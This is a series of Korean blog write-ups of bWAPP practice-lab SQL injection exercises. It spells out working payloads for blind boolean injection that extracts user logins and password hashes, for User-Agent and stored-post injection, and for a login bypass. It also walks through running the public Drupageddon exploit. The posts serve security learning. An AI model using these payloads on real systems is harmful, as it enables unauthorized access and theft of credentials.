해당 취약점은 Blind SQL 인젝션의 boolean based이다. SQL Injection 중에서도 가장 노가다(?)스럽고 하나하나 일일이 값을 넣어가며 확인해야 하기 때문에 굉장히 오래걸린다. 

 

 

위와 같이 영화를 검색하는 방식이다. 하지만 DB에 검색하는 영화의 존재 유무만 알려주고 나머지는 알려주지 않는다. 그래서 '(싱글쿼터)를 넣어서 에러를 확인했다.

 

위와 같이 다른 문장을 넣었을 때와는 다르게 에러가 발생한다. 그래서 참을 만들어주는 SQL문(' or 1=1#)을 넣었다.

 

 

참을 넣으니 DB에 정보가 있다고 나온다. 이런식으로 참인 SQL 문을 넣으면 참인 메시지가, 거짓을 넣으면 거짓이라는 메시지나 에러 메시지가 출력된다. 컬럼 갯수를 확인 하기 위해 ' union select 1,2,3,4,5,6,7#을 넣었다. 처음 1부터 해서 7까지 늘리면 7일때 위와 같이 참 메시지가 나온다.

마찬가지로 DB명의 길이를 확인하기 위해 ' or 1=1 and length(databases())=5#을 넣었다.

역시 참 메시지가 나오는 것으로 보아 DB 명은 5글자이다. 그리고 ' or 1=1 and substring(database(),1,1)='b'#을 넣어 DB 명의 첫번째 글자가 b라는 것도 확인했다. 또는 ' or 1=1 and ascii(substring(database(),1,1))=98#을 넣어 b라는 것을 확인할 수 있다. 앞에 문장과 뒤의 문장의 차이는 asii 함수 이용의 차이이다. 값은 일치한다.

다음은 ' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))=4#을 입력하여 테이블명 길이를 확인한다.

다음은 ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) > 100# 를 입력하여 테이블 명을 추측한다. ascii 함수를 사용하여 범위를 한정하여 추측하면 첫번째 테이블 명이 b로 시작하게 된다. 이렇게 계속 진행하면 네번째 테이블이 users라는 것을 알게 된다.

users라는 테이블명을 알게 되었다면 해당 테이블의 컬럼명의 길이를 파악하기 위해 ' or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=2#를 입력하여 2글자라는 것을 파악했다.

이제 컬럼명을 추측하기 위해 ' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='i'#를 넣어 i로 시작하는 2글자 인 것을 알게 되었다. 계속 추측하면 두번째 컬럼은 login 이라는 사실도 알 수 있다.

이제 login 컬럼에 있는 내용을 파악하기 위해 ' or 1=1 and length((select login from users limit 1,1))=3#을 넣어 컬럼 내용의 길이를 파악했다. 3글자다. 그리고 ' or 1=1 and substring((select login from users limit 1,1),1,1)='b'#을 입력하여 첫번째 글자가 b인 것도 확인했다.  계속 해보면 login 컬럼의 첫번째 내용은 bee다.

이제 두번째 컬럼을 알아보기 위해 ' or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 2,1))=8#을 입력했다. 두번째 컬럼명은 8글자이다. 컬럼명을 파악하기 위해  ' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 2,1),1,1)='p'#를 넣어 확인하니 첫번째 글자가 p인 것을 확인했다. 계속 찾아보니 password였다. password 컬럼은 비밀번호 원문이 아닌 해시 값이라는 추측이 가능해진다. 하지만 암호화 되어 있어 40글자를 일일이 하기에는 시간 소모가 너무 심하다. 우선 md5를 사용하였는지 확인하기 위해 ' or 1=1 and md5("bug")=(select password from users where login='bee')#를 넣은 결과 거짓 메시지가 나온다. 다시 sha-1인지 확인하기 위해 ' or 1=1 and sha1("bug")=(select password from users where login='bee')#를 넣으니 참이 나온다. 그래서 sha-1함수를 사용하는 것을 알 수 있다.

 

아래 표는 위에서 사용한 DB 쿼리문을 표로 정리해 놓았다.

 

 쿼리문

내용 

' union select 1,2,3,4,5,6,7#

컬럼 갯수

' or 1=1 and length(databases())=5#

DB명 길이

' or 1=1 and substring(database(),1,1)='b'#

혹은

' or 1=1 and ascii(substring(database(),1,1))=98#

DB명

' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))=4#

테이블명 길이

' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) > 100#

테이블명

or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=2#

컬럼명 길이

 ' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='i'#

컬럼명

' or 1=1 and length((select login from users limit 1,1))=3#

컬럼 내용 길이 

' or 1=1 and substring((select login from users limit 1,1),1,1)='b'#

컬럼 내용 

' or 1=1 and md5("bug")=(select password from users where login='bee')#

암호화 함수 확인(md5 혹은 sha1)

 

블로그 이미지

꼴통보안인

,

해당 취약점은 사용자의 IP 주소와 User-Agent 값이 저장되는 게시판 구조이다. User-Agent는 서버에서 사용하는 웹 브라우저 버전을 알려주는 HTTP 헤더값 종류 중에 하나다.

 

 

이제 여기서 새로고침을 누르고, 버프 스위트를 이용해 패킷을 캡처했다.

 

 

위와 같이 GET 메소드를 사용하여 정보를 가져온다. 문제가 User-Agent인 만큼 User-Agent에 SQL문을 삽입하기 전에 '(싱글쿼터)를 넣고 에러 유무를 확인했다.

 

 

패킷 전송 결과 200 OK 응답 코드가 왔으나 아래 SQL 에러가 발생했다. 저 결과를 바탕으로 1','2')# SQL문을 User-Agent에 넣었다.

 

 

위와 같이 IP 주소와 User-Agent값이 1과 2로 변경되었다. 이제 버전을 확인하기 위해 2',(select @@version))#을 넣었다.

 

위와 같이 넣고 전송한 결과 아래와 같이 IP 주소 값에 버전을 확인할 수 있었다.

 

 

블로그 이미지

꼴통보안인

,

해당 취약점은 SQLite로 DB를 구성한 게시판에 게시물을 올릴 때, 올린 게시물에 DB의 중요 정보가 입력되어 게시물에 출력되게 만드는 취약점이다.

 

 

'(싱글쿼터)를 입력하면 글이 저장되었다는 말은 나오지만 실제로 웹상에 출력되진 않는다.

 

 

그 외 나머지는 모두 게시물로 저장된다.

 

 

그래서 '(싱글쿼터) 이후에 SQLite에서 사용하는 sql문을 작성했다. 앞서 풀었던 Stored (blog)와 SQL문이 같을거라 생각했다. 그래서 ',(select sqlite_version()))-- 를 넣어서 SQLite의 버전을 확인했다. 확인 결과 아래와 같이 버전이 출력되었다.

 

 

블로그 이미지

꼴통보안인

,

해당 취약점은 블로그 같은 곳에 글을 저장할때 발생하는 sql injection 취약점에 관한 내용이다.

 

 

'(싱글쿼터)를 입력하여 저장하면 에러가 나온다.

 

 

에러가 지금까지 보던 것들과는 다르다. db에 insert문을 이용하여 게시물을 저장하는 방식인데 이미 bee라는 사용자는 지정이 되어있다. date도 글 올리면 올라가는 것으로 보아서는 insert문에 함수로 자동 지정 되어있는것 같다. 그렇다면 insert into (x,x,x) values (date, x, owner)같은 방식으로 구문이 구성되어 있는것 같다. 에러에 나온 'bee')를 지워야 insert문을 알맞게 넣으면서 원하는 정보를 얻을수 있을 것 같다. 그래서 union이 아닌 select문을 이용했다. 우리가 넣는 값이 entry로 들어가기 때문에 ,(콤마)를 이용해서 entry값을 넣고 그 뒤에 owner 컬럼에 select문과 함수를 이용해서 버전을 확인했다. (구문 : ',(select @@version))#)

 

해당 구문을 넣은 결과 owner에 버전이 입력된걸 확인했다.

 

 

 

블로그 이미지

꼴통보안인

,

해당 취약점은 실제 CVE-2014-3704에 등록된 취약점이다. Drupal은 블로그 서비스의 한 종류이다. Drupal에서 확인된 SQL Injection 취약점으로 bWAPP를 통해 가상 페이지를 만들었다.

 

 

위와 같이 Drupal을 누르면 아래와 같이 Drupal 블로그로 접속된다.

 

 

username과 password를 통해 로그인하는 로그인 페이지가 나온다. 하지만 직접 가입하지 않는 이상 로그인이 불가능하다. 그래서 아까 bWAPP 페이지에서 HINT를 준 CVE-2014-3704를 눌러서 CVE에 등록된 해당 취약점 정보를 확인한다.

 

 

여기서 exploit-db:34993에 해당하는 링크로 들어간다. 링크를 들어가게 되면 php로 작성된 exploit 코드가 나온다.

 

 

이것을 칼리 리눅스로 다운로드 받는다. 코드를 받은 후 url을 본인의 bWAPP의 drupal 서비스 url로 바꾼다.

 

 

이제 php파일로 해당 파일을 실행한다. 실행하면 username과 비밀번호가 나온다. username과 비밀번호 모두 admin이다.

 

 

이제 맞는지 로그인을 시도한다. 로그인이 되는걸 확인할 수 있다.

 

 

 

'Web Hacking > bWAPP' 카테고리의 다른 글

[LOW] SQL Injection Stored(SQLite)  (0) 2017.11.19
[LOW] SQL Injection -Stored (Blog)  (0) 2017.11.14
[LOW] SQL Injection (SQLite)  (0) 2017.11.14
[LOW] SQL Injection (Login Form/Hero)  (0) 2017.10.29
[LOW] SQL Injection (AJAX/JSON/jQuery)  (0) 2017.10.29
블로그 이미지

꼴통보안인

,

해당 취약점으로 들어가면 아래와 같이 영화 검색하는 게시판이 나온다. 그냥 search 버튼을 누르면 모든 영화 목록이 나온다.

 

 

그전에 했던 get/search와 post/search와 비슷한 구조인듯 하다. 하지만 사용하는 db가 다르다. get/search와 post/search는 mysql을 사용하지만 해당 문제는 sqlite를 사용한다. sqlite는 요즘 안드로이드에서 많이 사용하는 db이다. 그래서 일반 db에서 사용하는 version, databases등의 함수가 아닌 다른 함수명을 사용한다.

(참조 : https://www.sqlite.org/lang_corefunc.html#sqlite_version)

여기서 많은 목록중에 db버전을 확인하는 함수를 union 쿼리문을 이용해 대입했다.

(' union select all 1,sqlite_version(),3,4,5,6--)

 

 

위와 같이 3.4.2라는 sqlite 버전이 확인되었다.

블로그 이미지

꼴통보안인

,

해당 취약점으로 들어가면 아래와 같이 superhero로 로그인하라는 문장과 함께 로그인 폼이 나온다.

 

 

우선 superhero로 로그인 시도를 하기 위해 비밀번호를 1234로 하고 로그인을 시도했다. 시도 결과 아래와 같이 Invalid credentials!라는 문장이 나온다.

 

 

그래서 아이디 값에 '(싱글쿼터)를 넣어서 sql 에러 메시지를 유도했다. 유도 결과 아래와 같이 나왔다.

 

 

id값과 함께 비밀번호 값도 같이 받는 구문으로 되어있는것 같다. 그러면 superhero를 아이디로 입력하고 비밀번호에 참이 되는 블라인드 sql 문(' or 1=1#)을 넣었다. 결과 아래와 같이 Neo를 환영한다는 메시지와 비밀이라고 하는 문장이 나온다.

 

 

 

 

'Web Hacking > bWAPP' 카테고리의 다른 글

[LOW] Drupal SQL Injection (Drupageddon)  (0) 2017.11.14
[LOW] SQL Injection (SQLite)  (0) 2017.11.14
[LOW] SQL Injection (AJAX/JSON/jQuery)  (0) 2017.10.29
[LOW] SQL Injection (POST/Select)  (0) 2017.10.29
[LOW] SQL Injection (POST/Search)  (0) 2017.10.29
블로그 이미지

꼴통보안인

,

해당 취약점을 들어가보면 검색창에 한글자만 써도 검색한 글자가 존재하는 검색 내용이 모두 나온다.

 

 

그래서 블라인드 sql 구문을 통해 같은 검색어가 나오나 확인했다. 검색 결과 아래와 같이 모든 영화 목록이 나오는 것을 확인 했다.

 

 

이제 union sql 구문을 통해 컬럼 정보를 확인한다. 아래와 같이 컬럼 갯수를 확인했다.

 

 

이제 위에 구문을 바탕으로 버전 정보를 확인한다.

 

 

'Web Hacking > bWAPP' 카테고리의 다른 글

[LOW] SQL Injection (SQLite)  (0) 2017.11.14
[LOW] SQL Injection (Login Form/Hero)  (0) 2017.10.29
[LOW] SQL Injection (POST/Select)  (0) 2017.10.29
[LOW] SQL Injection (POST/Search)  (0) 2017.10.29
[LOW] SQL Injection (GET/Select)  (0) 2017.10.29
블로그 이미지

꼴통보안인

,

해당 취약점으로 들어가면 GET/Select와 같은 화면이 나온다. 하지만 POST/Search와 마찬가지로 POST 요청이기 때문에 url에 파라미터 값이 존재하지 않는다.

 

 

버프스위트로 패킷을 잡아서 패킷 요청이 어떤식으로 이루어지는지 확인한다.

 

 

요청 바디 부분에 movie를 이용하여 요청한다. 그렇다면 movie에 블라인드 sql 구문을 넣어 확인한다.

 

 

 

위와 같이 넣으면 아래와 같이 같은 화면이 나온다.

 

 

이제 아래와 같이 union sql 구문을 넣어서 컬럼 정보를 확인한다.

 

 

요청 결과 아래와 같이 나온다. 이제 버전 정보를 확인해본다.

 

 

아래와 같이 union sql 구문을 삽입했다.

 

 

요청 결과 아래와 같이 버전 정보가 나오는 것을 확인했다.

 

'Web Hacking > bWAPP' 카테고리의 다른 글

[LOW] SQL Injection (Login Form/Hero)  (0) 2017.10.29
[LOW] SQL Injection (AJAX/JSON/jQuery)  (0) 2017.10.29
[LOW] SQL Injection (POST/Search)  (0) 2017.10.29
[LOW] SQL Injection (GET/Select)  (0) 2017.10.29
[LOW] SQL Injection (GET/Search)  (0) 2017.09.29
블로그 이미지

꼴통보안인

,

해당 취약점을 들어가면 GET/Search와 마찬가지로 영화 목록을 볼 수 있다. 하지만 POST로 받아오기 때문에 url에 파라미터 값이 존재하지 않는다.

 

 

그렇기 때문에 프록시 도구인 버프스위트를 이용하여 패킷을 가로챈다. 패킷을 가로채면 아래와 같이 요청 메시지 바디 부분에 title과 action 파라미터를 볼 수 있다.

 

 

이제 title에 블라인드 sql 구문을 삽입하여 어떻게 나오는지 확인한다.

 

 

아래와 같이 원래 나오던 영화 목록들이 나온다. 이제 다시 패킷을 가로채서 union 구문을 통해 컬럼 정보를 확인한다.

 

 

아래와 같이 union 구문을 요청한다.

 

 

요청결과 아래와 같이 리스트 목록 외에 직접 작성한 union 구문이 들어간 것을 알 수 있다.

 

 

이제 기존에 사용했던 union 구문을 이용하여 버전 정보를 확인한다.

 

'Web Hacking > bWAPP' 카테고리의 다른 글

[LOW] SQL Injection (AJAX/JSON/jQuery)  (0) 2017.10.29
[LOW] SQL Injection (POST/Select)  (0) 2017.10.29
[LOW] SQL Injection (GET/Select)  (0) 2017.10.29
[LOW] SQL Injection (GET/Search)  (0) 2017.09.29
[MEDIUM] HTML Injection - Reflected (GET)  (0) 2017.09.29
블로그 이미지

꼴통보안인

,